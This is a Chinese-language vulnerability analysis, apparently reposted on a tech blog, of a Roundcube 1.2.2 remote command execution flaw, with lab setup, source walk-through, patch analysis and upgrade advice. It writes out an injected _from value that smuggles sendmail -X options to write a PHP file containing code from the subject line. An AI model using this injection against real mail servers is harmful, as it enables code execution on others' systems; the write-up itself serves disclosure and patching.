IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    Roundcube 1.2.2 远程命令执行漏洞 漏洞分析

    kk发表于 2016-12-13 02:52:33
    love 0

    Author: p0wd3r, LG (知道创宇404安全实验室) Date: 2016-12-08

    0x00 漏洞概述


    1.漏洞简介

    著名的PHP代码审计工具 RIPS 于12月6日发布了一份针对 Roundcube的扫描报告,报告中提到了一个远程命令执行漏洞,利用该漏洞攻击者可以在授权状态下执行任意代码。官方已发布升级公告。

    2.漏洞影响

    触发漏洞需满足以下几个前提:

    1. Roundcube 使用 PHP 的 mail 来发送邮件,而不通过其他 SMTP Server
    2. PHP 的 mail 使用 sendmail 来发送邮件(默认)
    3. PHP 的 safe_mode 是关闭的(默认)
    4. 攻击者需要知道 Web 应用的绝对路径
    5. 攻击者可以登录到 Roundcube 并可以发送邮件

    成功攻击后攻击者可远程执行任意代码。

    3.影响版本

    1.1.x < 1.1.7

    1.2.x < 1.2.3

    0x01 漏洞复现


    1. 环境搭建

    Dockerfile:

    FROM analogic/poste.io
    RUN apt-get update && apt-get install -y sendmail

    然后执行:

    docker build -t webmail-test .
    
    mkdir /tmp/data
    
    docker run -p 25:25 -p 127.0.0.1:8080:80 -p 443:443 -p 110:110 -p 143:143 -p 465:465 -p 587:587 -p 993:993 -p 995:995 -v /etc/localtime:/etc/localtime:ro -v /tmp/data:/data --name webmail --hostname xxx.xxx -t webmail-test
    
    docker cp webmail:/opt/www/webmail/config/config.inc.php /tmp/config.inc.php
    
    vim /tmp/config.inc.php
    将 $config['smtp_server'] 置为空
    
    docker cp /tmp/config.inc.php webmail:/opt/www/webmail/config/config.inc.php

    然后访问http://127.0.0.1:8080按步骤安装即可.

    2.漏洞分析

    首先看program/steps/mail/sendmail.inc第95-114行:

    // Get sender name and address...
    $from = rcube_utils::get_input_value('_from', rcube_utils::INPUT_POST, true, $message_charset);
    // ... from identity...
    if (is_numeric($from)) {
        ...
    }
    // ... if there is no identity record, this might be a custom from
    else if ($from_string = rcmail_email_input_format($from)) {
        if (preg_match('/(\S+@\S+)/', $from_string, $m))
            $from = trim($m[1], '<>');
        else
            $from = null;
    }

    这里取$_POST中的_from赋值给$from,如果$from不是数字就交给rcmail_email_input_format处理,处理后如果返回非空则再过滤$from,使其满足正常 email 的形式。

    我们看一下rcmail_email_input_format,在program/steps/mail/sendmail.inc第839-896行:

    function rcmail_email_input_format($mailto, $count=false, $check=true)
    {
        global $RCMAIL, $EMAIL_FORMAT_ERROR, $RECIPIENT_COUNT;
    
        // simplified email regexp, supporting quoted local part
        $email_regexp = '(\S+|("[^"]+"))@\S+';
    
        $delim   = trim($RCMAIL->config->get('recipients_separator', ','));
        $regexp  = array("/[,;$delim]\s*[\r\n]+/", '/[\r\n]+/', "/[,;$delim]\s*\$/m", '/;/', '/(\S{1})(<'.$email_regexp.'>)/U');
        $replace = array($delim.' ', ', ', '', $delim, '\\1 \\2');
    
        // replace new lines and strip ending ', ', make address input more valid
        $mailto = trim(preg_replace($regexp, $replace, $mailto));
        $items  = rcube_utils::explode_quoted_string($delim, $mailto);
        $result = array();
    
        foreach ($items as $item) {
            $item = trim($item);
            // address in brackets without name (do nothing)
            if (preg_match('/^<'.$email_regexp.'>$/', $item)) {
                ...
            }
            // address without brackets and without name (add brackets)
            else if (preg_match('/^'.$email_regexp.'$/', $item)) {
                ...
            }
            // address with name (handle name)
            else if (preg_match('/<*'.$email_regexp.'>*$/', $item, $matches)) {
                ...
            }
            else if (trim($item)) {
                continue;
            }
            ...
        }
    
        ...
    
        return implode(', ', $result);
    }

    foreach中的正则仅匹配正常的from格式,即xxx@xxx,如果匹配不到则continue,所以如果我们提交xxx@xxx -a -b这样的“空格 + 数据”,函数最终并没有对其进行改变,返回的$result也就是空了,进而执行完函数后不会再对$from进行过滤。

    接下来在program/steps/mail/sendmail.inc第528行:

    $sent = $RCMAIL->deliver_message($MAIL_MIME, $from, $mailto, $smtp_error, $mailbody_file, $smtp_opts);

    $from被传入了deliver_message中,在program/lib/Roundcube/rcube.php第1524-1678行:

    public function deliver_message(&$message, $from, $mailto, &$error, &$body_file = null, $options = null)
    {
    
        // send thru SMTP server using custom SMTP library
        if ($this->config->get('smtp_server')) {
            ...
        }
        // send mail using PHP's mail() function
        else {
            ...
            if (filter_var(ini_get('safe_mode'), FILTER_VALIDATE_BOOLEAN))
                $sent = mail($to, $subject, $msg_body, $header_str);
            else
                $sent = mail($to, $subject, $msg_body, $header_str, "-f$from");
            }
        }
        ...
    }

    可以看到当我们使用PHP的mail函数来发送邮件时$from会被拼接到mail的第五个参数中,这个参数的用处如下:

    add-para

    意思就是PHP的mail默认使用/usr/sbin/sendmail发送邮件(可在php.ini中设置),mail的第五个参数就是设置sendmail的额外参数。

    sendmail有一个-X参数,该参数将邮件流量记录在指定文件中:logfile

    所以到这里攻击思路如下:

    1. 构造邮件内容为想要执行的代码
    2. 点击发送时抓包更改_from
    3. sendmail将流量记录到 php 文件中

    实际操作一下:

    首先登录 Roundcube 并开始发送邮件:admin-dashboard

    点击发送,截包修改:

    original

    edited

    其中将_from改成:example@example.com -OQueueDirectory=/tmp -X/path/rce.php,其中-X后的路径需根据具体服务器情况来设置,默认 Roundcube 根目录下temp/、logs/是可写的。然后将_subject改成我们想要执行的代码,这里是<?php phpinfo();?>。

    请求有可能会超时,但是并不影响文件的写入。

    发送过后触发漏洞:

    phpinfo

    3.补丁分析

    patch

    使用escapeshellarg让$from被解析为参数值。

    0x02 修复方案


    升级程序:https://roundcube.net/news/2016/11/28/updates-1.2.3-and-1.1.7-released

     

    0x03 参考


    1. Roundcube 扫描报告:

      https://blog.ripstech.com/2016/roundcube-command-execution-via-email/

    2. PHP 的 mail 函数:

      http://php.net/manual/zh/function.mail.php



沪ICP备19023445号-2号
友情链接